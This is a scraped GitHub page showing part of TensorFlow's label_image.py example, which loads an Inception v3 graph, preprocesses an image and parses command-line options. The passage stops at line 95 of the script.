href="/tensorflow/tensorflow/blob/0.6.0/tensorflow/examples/label_image/label_image.py"
data-name="0.6.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="0.6.0">
0.6.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/0.5.0/tensorflow/examples/label_image/label_image.py"
data-name="0.5.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="0.5.0">
0.5.0
</span>
</a>
</div>
<div class="select-menu-no-results">Nothing to show</div>
</div>
</tab-container>
</div>
</div>
</div>
<div class="BtnGroup float-right">
<a href="/tensorflow/tensorflow/find/master"
class="js-pjax-capture-input btn btn-sm BtnGroup-item"
data-pjax
data-hotkey="t">
Find file
</a>
<clipboard-copy for="blob-path" class="btn btn-sm BtnGroup-item">
Copy path
</clipboard-copy>
</div>
<div id="blob-path" class="breadcrumb">
<span class="repo-root js-repo-root"><span class="js-path-segment"><a data-pjax="true" href="/tensorflow/tensorflow"><span>tensorflow</span></a></span></span><span class="separator">/</span><span class="js-path-segment"><a data-pjax="true" href="/tensorflow/tensorflow/tree/master/tensorflow"><span>tensorflow</span></a></span><span class="separator">/</span><span class="js-path-segment"><a data-pjax="true" href="/tensorflow/tensorflow/tree/master/tensorflow/examples"><span>examples</span></a></span><span class="separator">/</span><span class="js-path-segment"><a data-pjax="true" href="/tensorflow/tensorflow/tree/master/tensorflow/examples/label_image"><span>label_image</span></a></span><span class="separator">/</span><strong class="final-path">label_image.py</strong>
</div>
</div>
<div class="commit-tease">
<span class="float-right">
<a class="commit-tease-sha" href="/tensorflow/tensorflow/commit/b9018073ec1afc7dfc302ab171db8bf5b177c2dd" data-pjax>
b901807
</a>
<relative-time datetime="2018-02-07T06:09:14Z">Feb 7, 2018</relative-time>
</span>
<div>
<a rel="contributor" data-skip-pjax="true" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=1192265" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/yifeif"><img class="avatar" src="https://avatars2.githubusercontent.com/u/1192265?s=40&v=4" width="20" height="20" alt="@yifeif" /></a>
<a class="user-mention" rel="contributor" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=1192265" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/yifeif">yifeif</a>
<a data-pjax="true" title="Add pylint check for W0611 unused-import in ci_sanity.sh and fix existing pylint errors.
PiperOrigin-RevId: 184790548" class="message" href="/tensorflow/tensorflow/commit/b9018073ec1afc7dfc302ab171db8bf5b177c2dd">Add pylint check for W0611 unused-import in ci_sanity.sh and fix exis…</a>
</div>
<div class="commit-tease-contributors">
<details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark float-left mr-2" id="blob_contributors_box">
<summary class="btn-link" aria-haspopup="dialog" >
<span><strong>3</strong> contributors</span>
</summary>
<details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast " aria-label="Users who have contributed to this file">
<div class="Box-header">
<button class="Box-btn-octicon btn-octicon float-right" type="button" aria-label="Close dialog" data-close-dialog>
<svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg>
</button>
<h3 class="Box-title">Users who have contributed to this file</h3>
</div>
<ul class="list-style-none overflow-auto">
<li class="Box-row">
<a class="link-gray-dark no-underline" href="/yifeif">
<img class="avatar mr-2" alt="" src="https://avatars2.githubusercontent.com/u/1192265?s=40&v=4" width="20" height="20" />
yifeif
</a> </li>
<li class="Box-row">
<a class="link-gray-dark no-underline" href="/raghuraman-k">
<img class="avatar mr-2" alt="" src="https://avatars2.githubusercontent.com/u/34699873?s=40&v=4" width="20" height="20" />
raghuraman-k
</a> </li>
<li class="Box-row">
<a class="link-gray-dark no-underline" href="/tensorflower-gardener">
<img class="avatar mr-2" alt="" src="https://avatars1.githubusercontent.com/u/17151892?s=40&v=4" width="20" height="20" />
tensorflower-gardener
</a> </li>
</ul>
</details-dialog>
</details>
<a class="avatar-link" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=1192265" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/tensorflow/tensorflow/commits/master/tensorflow/examples/label_image/label_image.py?author=yifeif">
<img class="avatar" src="https://avatars2.githubusercontent.com/u/1192265?s=40&v=4" width="20" height="20" alt="@yifeif" />
</a> <a class="avatar-link" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=34699873" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/tensorflow/tensorflow/commits/master/tensorflow/examples/label_image/label_image.py?author=raghuraman-k">
<img class="avatar" src="https://avatars2.githubusercontent.com/u/34699873?s=40&v=4" width="20" height="20" alt="@raghuraman-k" />
</a> <a class="avatar-link" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=17151892" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/tensorflow/tensorflow/commits/master/tensorflow/examples/label_image/label_image.py?author=tensorflower-gardener">
<img class="avatar" src="https://avatars1.githubusercontent.com/u/17151892?s=40&v=4" width="20" height="20" alt="@tensorflower-gardener" />
</a>
</div>
</div>
<div class="file ">
<div class="file-header">
<div class="file-actions">
<div class="BtnGroup">
<a id="raw-url" class="btn btn-sm BtnGroup-item" href="/tensorflow/tensorflow/raw/master/tensorflow/examples/label_image/label_image.py">Raw</a>
<a class="btn btn-sm js-update-url-with-hash BtnGroup-item" data-hotkey="b" href="/tensorflow/tensorflow/blame/master/tensorflow/examples/label_image/label_image.py">Blame</a>
<a rel="nofollow" class="btn btn-sm BtnGroup-item" href="/tensorflow/tensorflow/commits/master/tensorflow/examples/label_image/label_image.py">History</a>
</div>
<button type="button" class="btn-octicon disabled tooltipped tooltipped-nw"
aria-label="You must be signed in to make or propose changes">
<svg class="octicon octicon-pencil" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"/></svg>
</button>
<button type="button" class="btn-octicon btn-octicon-danger disabled tooltipped tooltipped-nw"
aria-label="You must be signed in to make or propose changes">
<svg class="octicon octicon-trashcan" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
</button>
</div>
<div class="file-info">
141 lines (120 sloc)
<span class="file-info-divider"></span>
4.6 KB
</div>
</div>
<div itemprop="text" class="blob-wrapper data type-python ">
<table class="highlight tab-size js-file-line-container" data-tab-size="8">
<tr>
<td id="L1" class="blob-num js-line-number" data-line-number="1"></td>
<td id="LC1" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> Copyright 2017 The TensorFlow Authors. All Rights Reserved.</span></td>
</tr>
<tr>
<td id="L2" class="blob-num js-line-number" data-line-number="2"></td>
<td id="LC2" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span></span></td>
</tr>
<tr>
<td id="L3" class="blob-num js-line-number" data-line-number="3"></td>
<td id="LC3" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> Licensed under the Apache License, Version 2.0 (the "License");</span></td>
</tr>
<tr>
<td id="L4" class="blob-num js-line-number" data-line-number="4"></td>
<td id="LC4" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> you may not use this file except in compliance with the License.</span></td>
</tr>
<tr>
<td id="L5" class="blob-num js-line-number" data-line-number="5"></td>
<td id="LC5" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> You may obtain a copy of the License at</span></td>
</tr>
<tr>
<td id="L6" class="blob-num js-line-number" data-line-number="6"></td>
<td id="LC6" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span></span></td>
</tr>
<tr>
<td id="L7" class="blob-num js-line-number" data-line-number="7"></td>
<td id="LC7" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> http://www.apache.org/licenses/LICENSE-2.0</span></td>
</tr>
<tr>
<td id="L8" class="blob-num js-line-number" data-line-number="8"></td>
<td id="LC8" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span></span></td>
</tr>
<tr>
<td id="L9" class="blob-num js-line-number" data-line-number="9"></td>
<td id="LC9" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> Unless required by applicable law or agreed to in writing, software</span></td>
</tr>
<tr>
<td id="L10" class="blob-num js-line-number" data-line-number="10"></td>
<td id="LC10" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> distributed under the License is distributed on an "AS IS" BASIS,</span></td>
</tr>
<tr>
<td id="L11" class="blob-num js-line-number" data-line-number="11"></td>
<td id="LC11" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.</span></td>
</tr>
<tr>
<td id="L12" class="blob-num js-line-number" data-line-number="12"></td>
<td id="LC12" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> See the License for the specific language governing permissions and</span></td>
</tr>
<tr>
<td id="L13" class="blob-num js-line-number" data-line-number="13"></td>
<td id="LC13" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> limitations under the License.</span></td>
</tr>
<tr>
<td id="L14" class="blob-num js-line-number" data-line-number="14"></td>
<td id="LC14" class="blob-code blob-code-inner js-file-line"><span class="pl-c"><span class="pl-c">#</span> ==============================================================================</span></td>
</tr>
<tr>
<td id="L15" class="blob-num js-line-number" data-line-number="15"></td>
<td id="LC15" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L16" class="blob-num js-line-number" data-line-number="16"></td>
<td id="LC16" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-c1">__future__</span> <span class="pl-k">import</span> absolute_import</td>
</tr>
<tr>
<td id="L17" class="blob-num js-line-number" data-line-number="17"></td>
<td id="LC17" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-c1">__future__</span> <span class="pl-k">import</span> division</td>
</tr>
<tr>
<td id="L18" class="blob-num js-line-number" data-line-number="18"></td>
<td id="LC18" class="blob-code blob-code-inner js-file-line"><span class="pl-k">from</span> <span class="pl-c1">__future__</span> <span class="pl-k">import</span> print_function</td>
</tr>
<tr>
<td id="L19" class="blob-num js-line-number" data-line-number="19"></td>
<td id="LC19" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L20" class="blob-num js-line-number" data-line-number="20"></td>
<td id="LC20" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> argparse</td>
</tr>
<tr>
<td id="L21" class="blob-num js-line-number" data-line-number="21"></td>
<td id="LC21" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L22" class="blob-num js-line-number" data-line-number="22"></td>
<td id="LC22" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> numpy <span class="pl-k">as</span> np</td>
</tr>
<tr>
<td id="L23" class="blob-num js-line-number" data-line-number="23"></td>
<td id="LC23" class="blob-code blob-code-inner js-file-line"><span class="pl-k">import</span> tensorflow <span class="pl-k">as</span> tf</td>
</tr>
<tr>
<td id="L24" class="blob-num js-line-number" data-line-number="24"></td>
<td id="LC24" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L25" class="blob-num js-line-number" data-line-number="25"></td>
<td id="LC25" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L26" class="blob-num js-line-number" data-line-number="26"></td>
<td id="LC26" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">load_graph</span>(<span class="pl-smi">model_file</span>):</td>
</tr>
<tr>
<td id="L27" class="blob-num js-line-number" data-line-number="27"></td>
<td id="LC27" class="blob-code blob-code-inner js-file-line"> graph <span class="pl-k">=</span> tf.Graph()</td>
</tr>
<tr>
<td id="L28" class="blob-num js-line-number" data-line-number="28"></td>
<td id="LC28" class="blob-code blob-code-inner js-file-line"> graph_def <span class="pl-k">=</span> tf.GraphDef()</td>
</tr>
<tr>
<td id="L29" class="blob-num js-line-number" data-line-number="29"></td>
<td id="LC29" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L30" class="blob-num js-line-number" data-line-number="30"></td>
<td id="LC30" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">with</span> <span class="pl-c1">open</span>(model_file, <span class="pl-s"><span class="pl-pds">"</span>rb<span class="pl-pds">"</span></span>) <span class="pl-k">as</span> f:</td>
</tr>
<tr>
<td id="L31" class="blob-num js-line-number" data-line-number="31"></td>
<td id="LC31" class="blob-code blob-code-inner js-file-line"> graph_def.ParseFromString(f.read())</td>
</tr>
<tr>
<td id="L32" class="blob-num js-line-number" data-line-number="32"></td>
<td id="LC32" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">with</span> graph.as_default():</td>
</tr>
<tr>
<td id="L33" class="blob-num js-line-number" data-line-number="33"></td>
<td id="LC33" class="blob-code blob-code-inner js-file-line"> tf.import_graph_def(graph_def)</td>
</tr>
<tr>
<td id="L34" class="blob-num js-line-number" data-line-number="34"></td>
<td id="LC34" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L35" class="blob-num js-line-number" data-line-number="35"></td>
<td id="LC35" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">return</span> graph</td>
</tr>
<tr>
<td id="L36" class="blob-num js-line-number" data-line-number="36"></td>
<td id="LC36" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L37" class="blob-num js-line-number" data-line-number="37"></td>
<td id="LC37" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L38" class="blob-num js-line-number" data-line-number="38"></td>
<td id="LC38" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">read_tensor_from_image_file</span>(<span class="pl-smi">file_name</span>,</td>
</tr>
<tr>
<td id="L39" class="blob-num js-line-number" data-line-number="39"></td>
<td id="LC39" class="blob-code blob-code-inner js-file-line"> <span class="pl-smi">input_height</span><span class="pl-k">=</span><span class="pl-c1">299</span>,</td>
</tr>
<tr>
<td id="L40" class="blob-num js-line-number" data-line-number="40"></td>
<td id="LC40" class="blob-code blob-code-inner js-file-line"> <span class="pl-smi">input_width</span><span class="pl-k">=</span><span class="pl-c1">299</span>,</td>
</tr>
<tr>
<td id="L41" class="blob-num js-line-number" data-line-number="41"></td>
<td id="LC41" class="blob-code blob-code-inner js-file-line"> <span class="pl-smi">input_mean</span><span class="pl-k">=</span><span class="pl-c1">0</span>,</td>
</tr>
<tr>
<td id="L42" class="blob-num js-line-number" data-line-number="42"></td>
<td id="LC42" class="blob-code blob-code-inner js-file-line"> <span class="pl-smi">input_std</span><span class="pl-k">=</span><span class="pl-c1">255</span>):</td>
</tr>
<tr>
<td id="L43" class="blob-num js-line-number" data-line-number="43"></td>
<td id="LC43" class="blob-code blob-code-inner js-file-line"> input_name <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>file_reader<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L44" class="blob-num js-line-number" data-line-number="44"></td>
<td id="LC44" class="blob-code blob-code-inner js-file-line"> output_name <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>normalized<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L45" class="blob-num js-line-number" data-line-number="45"></td>
<td id="LC45" class="blob-code blob-code-inner js-file-line"> file_reader <span class="pl-k">=</span> tf.read_file(file_name, input_name)</td>
</tr>
<tr>
<td id="L46" class="blob-num js-line-number" data-line-number="46"></td>
<td id="LC46" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">if</span> file_name.endswith(<span class="pl-s"><span class="pl-pds">"</span>.png<span class="pl-pds">"</span></span>):</td>
</tr>
<tr>
<td id="L47" class="blob-num js-line-number" data-line-number="47"></td>
<td id="LC47" class="blob-code blob-code-inner js-file-line"> image_reader <span class="pl-k">=</span> tf.image.decode_png(</td>
</tr>
<tr>
<td id="L48" class="blob-num js-line-number" data-line-number="48"></td>
<td id="LC48" class="blob-code blob-code-inner js-file-line"> file_reader, <span class="pl-v">channels</span><span class="pl-k">=</span><span class="pl-c1">3</span>, <span class="pl-v">name</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>png_reader<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L49" class="blob-num js-line-number" data-line-number="49"></td>
<td id="LC49" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">elif</span> file_name.endswith(<span class="pl-s"><span class="pl-pds">"</span>.gif<span class="pl-pds">"</span></span>):</td>
</tr>
<tr>
<td id="L50" class="blob-num js-line-number" data-line-number="50"></td>
<td id="LC50" class="blob-code blob-code-inner js-file-line"> image_reader <span class="pl-k">=</span> tf.squeeze(</td>
</tr>
<tr>
<td id="L51" class="blob-num js-line-number" data-line-number="51"></td>
<td id="LC51" class="blob-code blob-code-inner js-file-line"> tf.image.decode_gif(file_reader, <span class="pl-v">name</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>gif_reader<span class="pl-pds">"</span></span>))</td>
</tr>
<tr>
<td id="L52" class="blob-num js-line-number" data-line-number="52"></td>
<td id="LC52" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">elif</span> file_name.endswith(<span class="pl-s"><span class="pl-pds">"</span>.bmp<span class="pl-pds">"</span></span>):</td>
</tr>
<tr>
<td id="L53" class="blob-num js-line-number" data-line-number="53"></td>
<td id="LC53" class="blob-code blob-code-inner js-file-line"> image_reader <span class="pl-k">=</span> tf.image.decode_bmp(file_reader, <span class="pl-v">name</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>bmp_reader<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L54" class="blob-num js-line-number" data-line-number="54"></td>
<td id="LC54" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">else</span>:</td>
</tr>
<tr>
<td id="L55" class="blob-num js-line-number" data-line-number="55"></td>
<td id="LC55" class="blob-code blob-code-inner js-file-line"> image_reader <span class="pl-k">=</span> tf.image.decode_jpeg(</td>
</tr>
<tr>
<td id="L56" class="blob-num js-line-number" data-line-number="56"></td>
<td id="LC56" class="blob-code blob-code-inner js-file-line"> file_reader, <span class="pl-v">channels</span><span class="pl-k">=</span><span class="pl-c1">3</span>, <span class="pl-v">name</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>jpeg_reader<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L57" class="blob-num js-line-number" data-line-number="57"></td>
<td id="LC57" class="blob-code blob-code-inner js-file-line"> float_caster <span class="pl-k">=</span> tf.cast(image_reader, tf.float32)</td>
</tr>
<tr>
<td id="L58" class="blob-num js-line-number" data-line-number="58"></td>
<td id="LC58" class="blob-code blob-code-inner js-file-line"> dims_expander <span class="pl-k">=</span> tf.expand_dims(float_caster, <span class="pl-c1">0</span>)</td>
</tr>
<tr>
<td id="L59" class="blob-num js-line-number" data-line-number="59"></td>
<td id="LC59" class="blob-code blob-code-inner js-file-line"> resized <span class="pl-k">=</span> tf.image.resize_bilinear(dims_expander, [input_height, input_width])</td>
</tr>
<tr>
<td id="L60" class="blob-num js-line-number" data-line-number="60"></td>
<td id="LC60" class="blob-code blob-code-inner js-file-line"> normalized <span class="pl-k">=</span> tf.divide(tf.subtract(resized, [input_mean]), [input_std])</td>
</tr>
<tr>
<td id="L61" class="blob-num js-line-number" data-line-number="61"></td>
<td id="LC61" class="blob-code blob-code-inner js-file-line"> sess <span class="pl-k">=</span> tf.Session()</td>
</tr>
<tr>
<td id="L62" class="blob-num js-line-number" data-line-number="62"></td>
<td id="LC62" class="blob-code blob-code-inner js-file-line"> result <span class="pl-k">=</span> sess.run(normalized)</td>
</tr>
<tr>
<td id="L63" class="blob-num js-line-number" data-line-number="63"></td>
<td id="LC63" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L64" class="blob-num js-line-number" data-line-number="64"></td>
<td id="LC64" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">return</span> result</td>
</tr>
<tr>
<td id="L65" class="blob-num js-line-number" data-line-number="65"></td>
<td id="LC65" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L66" class="blob-num js-line-number" data-line-number="66"></td>
<td id="LC66" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L67" class="blob-num js-line-number" data-line-number="67"></td>
<td id="LC67" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">load_labels</span>(<span class="pl-smi">label_file</span>):</td>
</tr>
<tr>
<td id="L68" class="blob-num js-line-number" data-line-number="68"></td>
<td id="LC68" class="blob-code blob-code-inner js-file-line"> label <span class="pl-k">=</span> []</td>
</tr>
<tr>
<td id="L69" class="blob-num js-line-number" data-line-number="69"></td>
<td id="LC69" class="blob-code blob-code-inner js-file-line"> proto_as_ascii_lines <span class="pl-k">=</span> tf.gfile.GFile(label_file).readlines()</td>
</tr>
<tr>
<td id="L70" class="blob-num js-line-number" data-line-number="70"></td>
<td id="LC70" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">for</span> l <span class="pl-k">in</span> proto_as_ascii_lines:</td>
</tr>
<tr>
<td id="L71" class="blob-num js-line-number" data-line-number="71"></td>
<td id="LC71" class="blob-code blob-code-inner js-file-line"> label.append(l.rstrip())</td>
</tr>
<tr>
<td id="L72" class="blob-num js-line-number" data-line-number="72"></td>
<td id="LC72" class="blob-code blob-code-inner js-file-line"> <span class="pl-k">return</span> label</td>
</tr>
<tr>
<td id="L73" class="blob-num js-line-number" data-line-number="73"></td>
<td id="LC73" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L74" class="blob-num js-line-number" data-line-number="74"></td>
<td id="LC74" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L75" class="blob-num js-line-number" data-line-number="75"></td>
<td id="LC75" class="blob-code blob-code-inner js-file-line"><span class="pl-k">if</span> <span class="pl-c1">__name__</span> <span class="pl-k">==</span> <span class="pl-s"><span class="pl-pds">"</span>__main__<span class="pl-pds">"</span></span>:</td>
</tr>
<tr>
<td id="L76" class="blob-num js-line-number" data-line-number="76"></td>
<td id="LC76" class="blob-code blob-code-inner js-file-line"> file_name <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>tensorflow/examples/label_image/data/grace_hopper.jpg<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L77" class="blob-num js-line-number" data-line-number="77"></td>
<td id="LC77" class="blob-code blob-code-inner js-file-line"> model_file <span class="pl-k">=</span> \</td>
</tr>
<tr>
<td id="L78" class="blob-num js-line-number" data-line-number="78"></td>
<td id="LC78" class="blob-code blob-code-inner js-file-line"> <span class="pl-s"><span class="pl-pds">"</span>tensorflow/examples/label_image/data/inception_v3_2016_08_28_frozen.pb<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L79" class="blob-num js-line-number" data-line-number="79"></td>
<td id="LC79" class="blob-code blob-code-inner js-file-line"> label_file <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>tensorflow/examples/label_image/data/imagenet_slim_labels.txt<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L80" class="blob-num js-line-number" data-line-number="80"></td>
<td id="LC80" class="blob-code blob-code-inner js-file-line"> input_height <span class="pl-k">=</span> <span class="pl-c1">299</span></td>
</tr>
<tr>
<td id="L81" class="blob-num js-line-number" data-line-number="81"></td>
<td id="LC81" class="blob-code blob-code-inner js-file-line"> input_width <span class="pl-k">=</span> <span class="pl-c1">299</span></td>
</tr>
<tr>
<td id="L82" class="blob-num js-line-number" data-line-number="82"></td>
<td id="LC82" class="blob-code blob-code-inner js-file-line"> input_mean <span class="pl-k">=</span> <span class="pl-c1">0</span></td>
</tr>
<tr>
<td id="L83" class="blob-num js-line-number" data-line-number="83"></td>
<td id="LC83" class="blob-code blob-code-inner js-file-line"> input_std <span class="pl-k">=</span> <span class="pl-c1">255</span></td>
</tr>
<tr>
<td id="L84" class="blob-num js-line-number" data-line-number="84"></td>
<td id="LC84" class="blob-code blob-code-inner js-file-line"> input_layer <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>input<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L85" class="blob-num js-line-number" data-line-number="85"></td>
<td id="LC85" class="blob-code blob-code-inner js-file-line"> output_layer <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>InceptionV3/Predictions/Reshape_1<span class="pl-pds">"</span></span></td>
</tr>
<tr>
<td id="L86" class="blob-num js-line-number" data-line-number="86"></td>
<td id="LC86" class="blob-code blob-code-inner js-file-line">
</td>
</tr>
<tr>
<td id="L87" class="blob-num js-line-number" data-line-number="87"></td>
<td id="LC87" class="blob-code blob-code-inner js-file-line"> parser <span class="pl-k">=</span> argparse.ArgumentParser()</td>
</tr>
<tr>
<td id="L88" class="blob-num js-line-number" data-line-number="88"></td>
<td id="LC88" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--image<span class="pl-pds">"</span></span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>image to be processed<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L89" class="blob-num js-line-number" data-line-number="89"></td>
<td id="LC89" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--graph<span class="pl-pds">"</span></span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>graph/model to be executed<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L90" class="blob-num js-line-number" data-line-number="90"></td>
<td id="LC90" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--labels<span class="pl-pds">"</span></span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>name of file containing labels<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L91" class="blob-num js-line-number" data-line-number="91"></td>
<td id="LC91" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--input_height<span class="pl-pds">"</span></span>, <span class="pl-v">type</span><span class="pl-k">=</span><span class="pl-c1">int</span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>input height<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L92" class="blob-num js-line-number" data-line-number="92"></td>
<td id="LC92" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--input_width<span class="pl-pds">"</span></span>, <span class="pl-v">type</span><span class="pl-k">=</span><span class="pl-c1">int</span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>input width<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L93" class="blob-num js-line-number" data-line-number="93"></td>
<td id="LC93" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--input_mean<span class="pl-pds">"</span></span>, <span class="pl-v">type</span><span class="pl-k">=</span><span class="pl-c1">int</span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>input mean<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L94" class="blob-num js-line-number" data-line-number="94"></td>
<td id="LC94" class="blob-code blob-code-inner js-file-line"> parser.add_argument(<span class="pl-s"><span class="pl-pds">"</span>--input_std<span class="pl-pds">"</span></span>, <span class="pl-v">type</span><span class="pl-k">=</span><span class="pl-c1">int</span>, <span class="pl-v">help</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>input std<span class="pl-pds">"</span></span>)</td>
</tr>
<tr>
<td id="L95" class="blob-num js-line-number" data-line-number="95"></td>
